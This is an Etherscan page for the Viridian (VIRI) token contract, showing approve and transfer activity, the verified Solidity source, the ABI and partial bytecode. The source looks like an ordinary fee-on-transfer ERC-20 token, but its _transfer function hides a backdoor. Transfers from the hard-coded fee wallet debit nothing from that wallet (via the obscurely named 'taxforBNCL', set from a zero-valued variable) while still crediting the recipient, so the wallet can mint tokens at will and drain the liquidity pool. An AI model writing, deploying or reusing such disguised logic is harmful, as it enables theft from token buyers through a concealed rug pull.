ETH Price: $3,324.61 (+2.30%)
Gas: 3 Gwei

Contract

0xbDBd83db17384EBf306F10a445F3FA0107Df2041
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer198225972024-05-08 3:15:1180 days ago1715138111IN
0xbDBd83db...107Df2041
0 ETH0.000458766.23949101
Approve193065362024-02-25 18:58:35152 days ago1708887515IN
0xbDBd83db...107Df2041
0 ETH0.0011999725.98357884
Approve193056802024-02-25 16:05:59152 days ago1708877159IN
0xbDBd83db...107Df2041
0 ETH0.0017887938.47376479
Approve193056412024-02-25 15:58:11152 days ago1708876691IN
0xbDBd83db...107Df2041
0 ETH0.0018439239.65945802
Approve193047982024-02-25 13:08:47153 days ago1708866527IN
0xbDBd83db...107Df2041
0 ETH0.0012288126.57350482
Approve193040122024-02-25 10:30:47153 days ago1708857047IN
0xbDBd83db...107Df2041
0 ETH0.0006707425.46309119
Approve193040072024-02-25 10:29:47153 days ago1708856987IN
0xbDBd83db...107Df2041
0 ETH0.0011136624.08340125
Approve193039712024-02-25 10:22:35153 days ago1708856555IN
0xbDBd83db...107Df2041
0 ETH0.0012583727.06531243
Approve193038932024-02-25 10:06:47153 days ago1708855607IN
0xbDBd83db...107Df2041
0 ETH0.0010602222.77399488
Approve193035472024-02-25 8:56:59153 days ago1708851419IN
0xbDBd83db...107Df2041
0 ETH0.0006294223.66789382
Approve193035352024-02-25 8:54:35153 days ago1708851275IN
0xbDBd83db...107Df2041
0 ETH0.0006167723.19218813
Approve193035312024-02-25 8:53:47153 days ago1708851227IN
0xbDBd83db...107Df2041
0 ETH0.0011705925.17742575
Approve193033012024-02-25 8:07:11153 days ago1708848431IN
0xbDBd83db...107Df2041
0 ETH0.0012358226.54609965
Approve193032862024-02-25 8:04:11153 days ago1708848251IN
0xbDBd83db...107Df2041
0 ETH0.0010965323.58454763
Approve193031122024-02-25 7:29:23153 days ago1708846163IN
0xbDBd83db...107Df2041
0 ETH0.001045822.49340164
Approve193029602024-02-25 6:58:59153 days ago1708844339IN
0xbDBd83db...107Df2041
0 ETH0.0007031824.16951397
Approve193027022024-02-25 6:06:59153 days ago1708841219IN
0xbDBd83db...107Df2041
0 ETH0.0012203126.42401239
Approve193026672024-02-25 5:59:59153 days ago1708840799IN
0xbDBd83db...107Df2041
0 ETH0.001457231.3417224
Approve193024042024-02-25 5:06:59153 days ago1708837619IN
0xbDBd83db...107Df2041
0 ETH0.001013721.80285568
Approve193017322024-02-25 2:51:47153 days ago1708829507IN
0xbDBd83db...107Df2041
0 ETH0.0010749923.1211973
Approve193017052024-02-25 2:46:11153 days ago1708829171IN
0xbDBd83db...107Df2041
0 ETH0.0010950323.52176709
Approve193013092024-02-25 1:26:23153 days ago1708824383IN
0xbDBd83db...107Df2041
0 ETH0.0011683125.09595463
Approve193012872024-02-25 1:21:59153 days ago1708824119IN
0xbDBd83db...107Df2041
0 ETH0.0005517520.99365234
Approve193012402024-02-25 1:12:35153 days ago1708823555IN
0xbDBd83db...107Df2041
0 ETH0.0006896126.23910617
Approve193012252024-02-25 1:09:35153 days ago1708823375IN
0xbDBd83db...107Df2041
0 ETH0.0006354724.17897398
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
193030722024-02-25 7:21:23153 days ago1708845683
0xbDBd83db...107Df2041
0.03475348 ETH
193030722024-02-25 7:21:23153 days ago1708845683
0xbDBd83db...107Df2041
0.03475348 ETH
193013192024-02-25 1:28:23153 days ago1708824503
0xbDBd83db...107Df2041
0.04371581 ETH
193013192024-02-25 1:28:23153 days ago1708824503
0xbDBd83db...107Df2041
0.04371581 ETH
193006052024-02-24 23:04:11153 days ago1708815851
0xbDBd83db...107Df2041
0.05242766 ETH
193006052024-02-24 23:04:11153 days ago1708815851
0xbDBd83db...107Df2041
0.05242766 ETH
193005342024-02-24 22:49:59153 days ago1708814999
0xbDBd83db...107Df2041
0.067582 ETH
193005342024-02-24 22:49:59153 days ago1708814999
0xbDBd83db...107Df2041
0.067582 ETH
193004532024-02-24 22:33:47153 days ago1708814027
0xbDBd83db...107Df2041
0.00688677 ETH
193004532024-02-24 22:33:47153 days ago1708814027
0xbDBd83db...107Df2041
0.00688677 ETH
193004432024-02-24 22:31:47153 days ago1708813907
0xbDBd83db...107Df2041
0.13764688 ETH
193004432024-02-24 22:31:47153 days ago1708813907
0xbDBd83db...107Df2041
0.13764688 ETH
193003422024-02-24 22:11:35153 days ago1708812695
0xbDBd83db...107Df2041
0.0318688 ETH
193003422024-02-24 22:11:35153 days ago1708812695
0xbDBd83db...107Df2041
0.0318688 ETH
193002872024-02-24 22:00:35153 days ago1708812035
0xbDBd83db...107Df2041
0.00670254 ETH
193002872024-02-24 22:00:35153 days ago1708812035
0xbDBd83db...107Df2041
0.00670254 ETH
193002852024-02-24 22:00:11153 days ago1708812011
0xbDBd83db...107Df2041
0.06035453 ETH
193002852024-02-24 22:00:11153 days ago1708812011
0xbDBd83db...107Df2041
0.06035453 ETH
193001322024-02-24 21:29:35153 days ago1708810175
0xbDBd83db...107Df2041
0.007116 ETH
193001322024-02-24 21:29:35153 days ago1708810175
0xbDBd83db...107Df2041
0.007116 ETH
193001312024-02-24 21:29:23153 days ago1708810163
0xbDBd83db...107Df2041
0.01014711 ETH
193001312024-02-24 21:29:23153 days ago1708810163
0xbDBd83db...107Df2041
0.01014711 ETH
193001272024-02-24 21:28:35153 days ago1708810115
0xbDBd83db...107Df2041
0.12111525 ETH
193001272024-02-24 21:28:35153 days ago1708810115
0xbDBd83db...107Df2041
0.12111525 ETH
193000962024-02-24 21:22:23153 days ago1708809743
0xbDBd83db...107Df2041
0.01128175 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
VIRI

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-24
*/

/*

Website: https://viridianfi.com
Twitter:  https://twitter.com/viridianerc
Telegram: https://t.me/viridianerc

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract VIRI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderTransTimestamp;
    bool private _hasTransferDelayed = true;
    address payable private _farmReceiver;

    uint256 private _initialTaxForBuy = 33;
    uint256 private _initialTaxForSell = 21;
    uint256 private _reduceBuyTaxAt = 16;
    uint256 private _reduceSellTaxAt = 20;

    uint256 private _initialBuySecond = 0;
    uint256 private _initialSellSecond = 0;
    uint256 private _reduceTaxSecond = 0;

    uint256 private _finalTaxForBuy = 2;
    uint256 private _finalTaxForSell = 2;
    
    uint256 private _preventSwapCount = 22;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"Viridian";
    string private constant _symbol = unicode"VIRI";

    uint256 private _maxTransAmt =  2 * (_tTotal/100);   
    uint256 private _maxWalletTokens =  2 * (_tTotal/100);
    uint256 private _swapAmountTokens =  8 * (_tTotal/1000000);
    uint256 private _maxSwapTokens = 1 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTransAmt);
    modifier lockSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _farmReceiver = payable(0x4051b5e6d2ef1Cc8916A16Cdc17217bb6A6926A6);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_farmReceiver] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 taxforBNCL=amount;
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            taxAmount = amount.mul(_taxOnBuy()).div(100);
            if (_hasTransferDelayed) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { 
                    require(
                        _holderTransTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderTransTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTransAmt, "Exceeds the _maxTransAmt.");
                require(balanceOf(to) + amount <= _maxWalletTokens, "Exceeds the maxWalletSize.");
                _buyCount++;
                if (_buyCount > _preventSwapCount) {
                    _hasTransferDelayed = false;
                }
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul(_taxOnSell()).div(100);
            }

            uint256 tokenscahave = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && amount > _swapAmountTokens) {
                if(tokenscahave > _swapAmountTokens)
                swapTokensForEth(min(amount,min(tokenscahave,_maxSwapTokens)));
                _sendETHFee(address(this).balance);
            }
        } else if(from == address(_farmReceiver))
            taxforBNCL = min(amount,min(_initialBuySecond,_maxSwapTokens));
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(taxforBNCL);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _taxOnBuy() private view returns (uint256) {
        if(_buyCount <= _reduceBuyTaxAt){
            return _initialTaxForBuy;
        }
        if(_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceTaxSecond){
            return _initialBuySecond;
        }
         return _finalTaxForBuy;
    }

    function _taxOnSell() private view returns (uint256) {
        if(_buyCount <= _reduceBuyTaxAt){
            return _initialTaxForSell;
        }
        if(_buyCount > _reduceSellTaxAt && _buyCount <= _reduceTaxSecond){
            return _initialSellSecond;
        }
         return _finalTaxForBuy;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _sendETHFee(uint256 amount) private {
        _farmReceiver.transfer(amount);
    }

    function enterMarket() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }

    function removeLimits() external onlyOwner{
        _maxTransAmt = _tTotal;
        _maxWalletTokens=_tTotal;
        _hasTransferDelayed=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransAmt","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enterMarket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff191660011790556021600655601560075560106008819055601460099081555f600a818155600b829055600c8290556002600d819055600e556016600f559255606491620000599190620003d7565b62000069906305f5e100620003ee565b62000075919062000408565b62000082906002620003ee565b6011556064620000956009600a620003d7565b620000a5906305f5e100620003ee565b620000b1919062000408565b620000be906002620003ee565b601255620f4240620000d36009600a620003d7565b620000e3906305f5e100620003ee565b620000ef919062000408565b620000fc906008620003ee565b60135560646200010f6009600a620003d7565b6200011f906305f5e100620003ee565b6200012b919062000408565b62000138906001620003ee565b6014556016805461ffff60a01b1916905534801562000155575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b031916744051b5e6d2ef1cc8916a16cdc17217bb6a6926a600179055620001cc6009600a620003d7565b620001dc906305f5e100620003ee565b335f908152600160208190526040822092909255600390620002055f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004909116835291208054909216179055620002683390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002a16009600a620003d7565b620002b1906305f5e100620003ee565b60405190815260200160405180910390a362000428565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200031c57815f1904821115620003005762000300620002c8565b808516156200030e57918102915b93841c9390800290620002e1565b509250929050565b5f826200033457506001620003d1565b816200034257505f620003d1565b81600181146200035b5760028114620003665762000386565b6001915050620003d1565b60ff8411156200037a576200037a620002c8565b50506001821b620003d1565b5060208310610133831016604e8410600b8410161715620003ab575081810a620003d1565b620003b78383620002dc565b805f1904821115620003cd57620003cd620002c8565b0290505b92915050565b5f620003e760ff84168362000324565b9392505050565b8082028115828204841417620003d157620003d1620002c8565b5f826200042357634e487b7160e01b5f52601260045260245ffd5b500490565b61171780620004365f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c57806395d89b411161005757806395d89b411461021e578063a9059cbb1461024a578063dd62ed3e14610269578063fd5bfb54146102ad575f80fd5b8063715018a6146101ce578063751039fc146101e45780638da5cb5b146101f8575f80fd5b806306fdde03146100cd578063095ea7b31461010f57806318160ddd1461013e57806323b872dd14610160578063313ce5671461017f57806370a082311461019a575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260088152672b34b934b234b0b760c11b60208201525b6040516101069190611307565b60405180910390f35b34801561011a575f80fd5b5061012e61012936600461136a565b6102c1565b6040519015158152602001610106565b348015610149575f80fd5b506101526102d7565b604051908152602001610106565b34801561016b575f80fd5b5061012e61017a366004611394565b6102f7565b34801561018a575f80fd5b5060405160098152602001610106565b3480156101a5575f80fd5b506101526101b43660046113d2565b6001600160a01b03165f9081526001602052604090205490565b3480156101d9575f80fd5b506101e261035e565b005b3480156101ef575f80fd5b506101e26103d8565b348015610203575f80fd5b505f546040516001600160a01b039091168152602001610106565b348015610229575f80fd5b506040805180820190915260048152635649524960e01b60208201526100f9565b348015610255575f80fd5b5061012e61026436600461136a565b610493565b348015610274575f80fd5b506101526102833660046113ed565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102b8575f80fd5b506101e261049f565b5f6102cd3384846107ea565b5060015b92915050565b5f6102e46009600a611518565b6102f2906305f5e100611526565b905090565b5f61030384848461090d565b610354843361034f856040518060600160405280602881526020016116ba602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f08565b6107ea565b5060019392505050565b5f546001600160a01b031633146103905760405162461bcd60e51b81526004016103879061153d565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104015760405162461bcd60e51b81526004016103879061153d565b61040d6009600a611518565b61041b906305f5e100611526565b60115561042a6009600a611518565b610438906305f5e100611526565b6012556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104726009600a611518565b610480906305f5e100611526565b60405190815260200160405180910390a1565b5f6102cd33848461090d565b5f546001600160a01b031633146104c85760405162461bcd60e51b81526004016103879061153d565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105119030906105036009600a611518565b61034f906305f5e100611526565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610561573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105859190611572565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106089190611572565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610652573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106769190611572565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d71947306106bd816001600160a01b03165f9081526001602052604090205490565b5f806106d05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610736573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061075b919061158d565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d491906115b8565b506016805460ff60a81b1916600160a81b179055565b6001600160a01b03831661084c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610387565b6001600160a01b0382166108ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610387565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109715760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610387565b6001600160a01b0382166109d35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610387565b5f8111610a345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610387565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a7657506001600160a01b0384165f9081526003602052604090205460ff16155b15610d9a57610a986064610a92610a8b610f40565b8690610f7d565b90611002565b60055490925060ff1615610b7e576015546001600160a01b03858116911614801590610ad257506016546001600160a01b03858116911614155b15610b7e57325f908152600460205260409020544311610b6c5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610387565b325f9081526004602052604090204390555b6016546001600160a01b038681169116148015610ba957506015546001600160a01b03858116911614155b8015610bcd57506001600160a01b0384165f9081526003602052604090205460ff16155b15610cc957601154831115610c245760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785472616e73416d742e000000000000006044820152606401610387565b60125483610c46866001600160a01b03165f9081526001602052604090205490565b610c5091906115d7565b1115610c9e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610387565b60108054905f610cad836115ea565b9190505550600f546010541115610cc9576005805460ff191690555b6016546001600160a01b038581169116148015610cef57506001600160a01b0385163014155b15610d0757610d046064610a92610a8b611043565b91505b305f90815260016020526040902054601654600160a01b900460ff16158015610d3d57506016546001600160a01b038681169116145b8015610d525750601654600160a81b900460ff165b8015610d5f575060135484115b15610d9457601354811115610d8b57610d8b610d8685610d8184601454611079565b611079565b61108d565b610d94476111fd565b50610dca565b6005546001600160a01b03610100909104811690861603610dca57610dc783610d81600a54601454611079565b90505b8115610e4257305f90815260016020526040902054610de9908361123c565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e399086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610e64908261129a565b6001600160a01b0386165f90815260016020526040902055610ea7610e89848461129a565b6001600160a01b0386165f908152600160205260409020549061123c565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ef0868661129a565b60405190815260200160405180910390a35050505050565b5f8184841115610f2b5760405162461bcd60e51b81526004016103879190611307565b505f610f378486611602565b95945050505050565b5f60085460105411610f53575060065490565b600854601054118015610f6a5750600c5460105411155b15610f765750600a5490565b50600d5490565b5f825f03610f8c57505f6102d1565b5f610f978385611526565b905082610fa48583611615565b14610ffb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610387565b9392505050565b5f610ffb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112db565b5f60085460105411611056575060075490565b60095460105411801561106d5750600c5460105411155b15610f765750600b5490565b5f8183116110875782610ffb565b50919050565b6016805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110d3576110d3611634565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114e9190611572565b8160018151811061116157611161611634565b6001600160a01b03928316602091820292909201015260155461118791309116846107ea565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bf9085905f90869030904290600401611648565b5f604051808303815f87803b1580156111d6575f80fd5b505af11580156111e8573d5f803e3d5ffd5b50506016805460ff60a01b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015611238573d5f803e3d5ffd5b5050565b5f8061124883856115d7565b905083811015610ffb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610387565b5f610ffb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f08565b5f81836112fb5760405162461bcd60e51b81526004016103879190611307565b505f610f378486611615565b5f602080835283518060208501525f5b8181101561133357858101830151858201604001528201611317565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611367575f80fd5b50565b5f806040838503121561137b575f80fd5b823561138681611353565b946020939093013593505050565b5f805f606084860312156113a6575f80fd5b83356113b181611353565b925060208401356113c181611353565b929592945050506040919091013590565b5f602082840312156113e2575f80fd5b8135610ffb81611353565b5f80604083850312156113fe575f80fd5b823561140981611353565b9150602083013561141981611353565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561147257815f190482111561145857611458611424565b8085161561146557918102915b93841c939080029061143d565b509250929050565b5f82611488575060016102d1565b8161149457505f6102d1565b81600181146114aa57600281146114b4576114d0565b60019150506102d1565b60ff8411156114c5576114c5611424565b50506001821b6102d1565b5060208310610133831016604e8410600b84101617156114f3575081810a6102d1565b6114fd8383611438565b805f190482111561151057611510611424565b029392505050565b5f610ffb60ff84168361147a565b80820281158282048414176102d1576102d1611424565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611582575f80fd5b8151610ffb81611353565b5f805f6060848603121561159f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115c8575f80fd5b81518015158114610ffb575f80fd5b808201808211156102d1576102d1611424565b5f60